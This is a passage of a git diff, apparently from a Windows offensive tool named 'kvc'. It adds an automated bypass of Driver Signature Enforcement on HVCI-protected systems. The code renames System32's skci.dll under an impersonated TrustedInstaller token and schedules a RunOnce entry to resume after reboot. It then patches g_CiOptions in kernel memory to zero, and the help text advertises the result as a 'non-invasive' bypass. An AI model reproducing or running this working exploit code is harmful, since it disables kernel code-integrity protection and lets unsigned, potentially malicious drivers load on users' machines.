||||||
|
}
|
||||||
|
|
||||||
|
wchar_t state[256] = {0};
|
||||||
|
DWORD size = sizeof(state);
|
||||||
|
|
||||||
|
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||||
|
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||||
|
outState = state;
|
||||||
|
}
|
||||||
|
|
||||||
|
size = sizeof(DWORD);
|
||||||
|
RegQueryValueExW(hKey, L"OriginalValue", NULL, NULL,
|
||||||
|
reinterpret_cast<BYTE*>(&outOriginalValue), &size);
|
||||||
|
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DSEBypass::ClearDSEState() noexcept {
|
||||||
|
DEBUG(L"Clearing state from registry");
|
||||||
|
|
||||||
|
HKEY hKey;
|
||||||
|
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc", 0,
|
||||||
|
KEY_WRITE, &hKey) != ERROR_SUCCESS) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
RegDeleteTreeW(hKey, L"DSE");
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
DEBUG(L"State cleared");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DSEBypass::DisableDSEAfterReboot() noexcept {
|
||||||
|
DEBUG(L"Post-reboot DSE disable sequence");
|
||||||
|
|
||||||
|
std::wstring state;
|
||||||
|
DWORD originalValue;
|
||||||
|
|
||||||
|
if (!LoadDSEState(state, originalValue)) {
|
||||||
|
ERROR(L"No pending DSE state found in registry");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (state != L"AwaitingRestore") {
|
||||||
|
ERROR(L"Invalid state: %s", state.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
INFO(L"Found pending DSE bypass (original value: 0x%08X)", originalValue);
|
||||||
|
|
||||||
|
// Step 1: Restore skci.dll
|
||||||
|
if (!RestoreSkciLibrary()) {
|
||||||
|
ERROR(L"Failed to restore skci.dll");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: Now patch g_CiOptions (HVCI no longer protects memory)
|
||||||
|
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||||
|
if (!ciBase) {
|
||||||
|
ERROR(L"Failed to locate ci.dll");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||||
|
if (!m_ciOptionsAddr) {
|
||||||
|
ERROR(L"Failed to locate g_CiOptions");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||||
|
if (!current) {
|
||||||
|
ERROR(L"Failed to read g_CiOptions");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD currentValue = current.value();
|
||||||
|
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||||
|
|
||||||
|
// Patch to 0x00000000
|
||||||
|
DWORD newValue = 0x00000000;
|
||||||
|
|
||||||
|
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||||
|
ERROR(L"Failed to write g_CiOptions");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||||
|
if (!verify || verify.value() != newValue) {
|
||||||
|
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||||
|
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 3: Cleanup
|
||||||
|
ClearDSEState();
|
||||||
|
|
||||||
|
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||||
|
SUCCESS(L"Hypervisor bypassed and skci.dll restored");
|
||||||
|
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
@@ -5,14 +5,18 @@
|
|||||||
#include <optional>
|
#include <optional>
|
||||||
#include <utility>
|
#include <utility>
|
||||||
|
|
||||||
|
// Forward declaration - MUSI BYĆ PRZED class DSEBypass
|
||||||
|
class TrustedInstallerIntegrator;
|
||||||
|
|
||||||
class DSEBypass {
|
class DSEBypass {
|
||||||
private:
|
private:
|
||||||
std::unique_ptr<kvc>& m_rtc;
|
std::unique_ptr<kvc>& m_rtc;
|
||||||
|
TrustedInstallerIntegrator* m_trustedInstaller;
|
||||||
ULONG_PTR m_ciOptionsAddr = 0;
|
ULONG_PTR m_ciOptionsAddr = 0;
|
||||||
DWORD m_originalValue = 0;
|
DWORD m_originalValue = 0;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
explicit DSEBypass(std::unique_ptr<kvc>& rtc);
|
explicit DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* ti);
|
||||||
|
|
||||||
// Main DSE control functions
|
// Main DSE control functions
|
||||||
bool DisableDSE() noexcept;
|
bool DisableDSE() noexcept;
|
||||||
@@ -26,10 +30,21 @@ public:
|
|||||||
std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;
|
std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;
|
||||||
ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;
|
ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;
|
||||||
|
|
||||||
|
// HVCI bypass workflow
|
||||||
|
bool DisableDSEAfterReboot() noexcept;
|
||||||
|
|
||||||
private:
|
private:
|
||||||
// Internal PE parsing helpers
|
// Internal PE parsing helpers
|
||||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
|
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
|
||||||
|
|
||||||
|
// HVCI bypass helpers
|
||||||
|
bool RenameSkciLibrary() noexcept;
|
||||||
|
bool RestoreSkciLibrary() noexcept;
|
||||||
|
bool CreateRunOnceEntry() noexcept;
|
||||||
|
bool SaveDSEState(DWORD originalValue) noexcept;
|
||||||
|
bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept;
|
||||||
|
bool ClearDSEState() noexcept;
|
||||||
|
|
||||||
// HVCI/VBS detection
|
// HVCI/VBS detection
|
||||||
bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept {
|
bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept {
|
||||||
return (ciOptionsValue & 0x0001C000) != 0;
|
return (ciOptionsValue & 0x0001C000) != 0;
|
||||||
|
|||||||
@@ -88,10 +88,11 @@ void HelpSystem::PrintServiceCommands() noexcept
|
|||||||
void HelpSystem::PrintDSECommands() noexcept
|
void HelpSystem::PrintDSECommands() noexcept
|
||||||
{
|
{
|
||||||
PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control");
|
PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control");
|
||||||
PrintCommandLine(L"dse off", L"Disable DSE to allow unsigned driver loading");
|
PrintCommandLine(L"dse off", L"Disable DSE (auto-handles HVCI with reboot if needed)");
|
||||||
PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security");
|
PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security");
|
||||||
PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)");
|
PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)");
|
||||||
PrintNote(L"Requires kernel driver session with elevated privileges");
|
PrintNote(L"Requires kernel driver session with elevated privileges");
|
||||||
|
PrintNote(L"HVCI systems: No files will be modified, replaced, or deleted");
|
||||||
PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk");
|
PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk");
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
}
|
}
|
||||||
|
|||||||
93
kvc/Kvc.cpp
93
kvc/Kvc.cpp
@@ -265,29 +265,31 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
INFO(L"DSE Status Information:");
|
INFO(L"DSE Status Information:");
|
||||||
INFO(L" g_CiOptions address: 0x%llX", ciOptionsAddr);
|
INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
|
||||||
INFO(L" g_CiOptions value: 0x%08X", value);
|
INFO(L"g_CiOptions value: 0x%08X", value);
|
||||||
INFO(L" Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
|
INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
|
||||||
INFO(L" Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
|
INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
|
|
||||||
// Check for HVCI/VBS first
|
// Check for HVCI/VBS first
|
||||||
if (hvciEnabled) {
|
if (hvciEnabled) {
|
||||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
ERROR(L"[!] HVCI/VBS detected (flags: 0x%05X)", (value & 0x0001C000));
|
INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000));
|
||||||
ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)");
|
INFO(L"Hypervisor protection active - direct memory patching blocked");
|
||||||
ERROR(L"[!] DSE bypass not available - kernel memory protected by Secure Kernel");
|
INFO(L"HVCI bypass available via non-invasive library method");
|
||||||
}
|
INFO(L"Requires system restart to complete bypass workflow");
|
||||||
else if (dseEnabled) {
|
INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass");
|
||||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
}
|
||||||
INFO(L"System is protected - only signed drivers can load");
|
else if (dseEnabled) {
|
||||||
INFO(L"DSE bypass available - use 'kvc dse off' to disable");
|
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||||
} else {
|
INFO(L"Kernel protection active - only signed drivers allowed");
|
||||||
ERROR(L"Driver Signature Enforcement: DISABLED");
|
INFO(L"DSE bypass available without restart - use 'kvc dse off'");
|
||||||
INFO(L"WARNING: Unsigned drivers can be loaded!");
|
} else {
|
||||||
INFO(L"Use 'kvc dse on' to restore protection");
|
INFO(L"Driver Signature Enforcement: DISABLED");
|
||||||
}
|
INFO(L"System security reduced - unsigned drivers allowed");
|
||||||
|
INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)");
|
||||||
|
}
|
||||||
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
return 0;
|
return 0;
|
||||||
@@ -296,11 +298,40 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
std::wstring_view subCmd = argv[2];
|
std::wstring_view subCmd = argv[2];
|
||||||
|
|
||||||
if (subCmd == L"off") {
|
if (subCmd == L"off") {
|
||||||
INFO(L"Disabling Driver Signature Enforcement...");
|
// Check if this is post-reboot execution
|
||||||
|
HKEY hKey;
|
||||||
|
bool postReboot = false;
|
||||||
|
|
||||||
if (!g_controller->DisableDSE()) {
|
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||||
ERROR(L"Failed to disable DSE");
|
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||||
return 2;
|
wchar_t state[256] = {0};
|
||||||
|
DWORD size = sizeof(state);
|
||||||
|
|
||||||
|
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||||
|
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||||
|
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||||
|
postReboot = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (postReboot) {
|
||||||
|
DEBUG(L"Post-reboot DSE disable detected");
|
||||||
|
INFO(L"Completing DSE bypass after reboot...");
|
||||||
|
|
||||||
|
if (!g_controller->DisableDSEAfterReboot()) {
|
||||||
|
ERROR(L"Failed to complete DSE disable after reboot");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
DEBUG(L"Normal DSE disable request");
|
||||||
|
INFO(L"Disabling Driver Signature Enforcement...");
|
||||||
|
|
||||||
|
if (!g_controller->DisableDSE()) {
|
||||||
|
ERROR(L"Failed to disable DSE");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
SUCCESS(L"DSE disabled successfully!");
|
SUCCESS(L"DSE disabled successfully!");
|
||||||
@@ -382,8 +413,8 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
INFO(L"Service Information:");
|
INFO(L"Service Information:");
|
||||||
INFO(L" Name: %s", ServiceConstants::SERVICE_NAME);
|
INFO(L" Name: %s", ServiceConstants::SERVICE_NAME);
|
||||||
INFO(L" Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME);
|
INFO(L" Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME);
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
|
|
||||||
if (installed) {
|
if (installed) {
|
||||||
@@ -790,7 +821,7 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
// Combine remaining arguments
|
// Combine remaining arguments
|
||||||
std::wstring fullCommand;
|
std::wstring fullCommand;
|
||||||
for (int i = 2; i < argc; i++) {
|
for (int i = 2; i < argc; i++) {
|
||||||
if (i > 2) fullCommand += L" ";
|
if (i > 2) fullCommand += L"";
|
||||||
fullCommand += argv[i];
|
fullCommand += argv[i];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -844,21 +875,21 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
INFO(L"Security Engine Status: ENABLED (Active Protection)");
|
INFO(L"Security Engine Status: ENABLED (Active Protection)");
|
||||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||||
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||||
std::wcout << L" ✓ Windows Defender is actively protecting the system\n";
|
std::wcout << L" ✓ Windows Defender is actively protecting the system\n";
|
||||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||||
}
|
}
|
||||||
else if (status == DefenderManager::SecurityState::DISABLED) {
|
else if (status == DefenderManager::SecurityState::DISABLED) {
|
||||||
INFO(L"Security Engine Status: DISABLED (Inactive Protection)");
|
INFO(L"Security Engine Status: DISABLED (Inactive Protection)");
|
||||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||||
std::wcout << L" ✗ Windows Defender protection is disabled\n";
|
std::wcout << L" ✗ Windows Defender protection is disabled\n";
|
||||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
INFO(L"Security Engine Status: UNKNOWN (Cannot determine state)");
|
INFO(L"Security Engine Status: UNKNOWN (Cannot determine state)");
|
||||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||||
std::wcout << L" ? Unable to determine Defender protection state\n";
|
std::wcout << L" ? Unable to determine Defender protection state\n";
|
||||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -483,8 +483,43 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws
|
|||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Rename system32 library skci.dll with intentional letter swap typo
|
||||||
|
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
||||||
|
const std::wstring& dstPath) noexcept
|
||||||
|
{
|
||||||
|
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||||
|
if (!hToken) {
|
||||||
|
ERROR(L"Failed to get TrustedInstaller token");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ImpersonateLoggedOnUser(hToken)) {
|
||||||
|
ERROR(L"Failed to impersonate TrustedInstaller");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clear attributes on source
|
||||||
|
DWORD attrs = GetFileAttributesW(srcPath.c_str());
|
||||||
|
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||||
|
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str());
|
||||||
|
DWORD error = result ? ERROR_SUCCESS : GetLastError();
|
||||||
|
|
||||||
|
RevertToSelf();
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
// REGISTRY OPERATIONS (NEW)
|
// REGISTRY OPERATIONS
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|
||||||
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||||
|
|||||||
@@ -26,6 +26,9 @@ public:
|
|||||||
const std::vector<BYTE>& data) noexcept;
|
const std::vector<BYTE>& data) noexcept;
|
||||||
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
|
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
|
||||||
|
|
||||||
|
bool RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
||||||
|
const std::wstring& dstPath) noexcept;
|
||||||
|
|
||||||
// Creates a directory with TrustedInstaller privileges
|
// Creates a directory with TrustedInstaller privileges
|
||||||
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
|
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user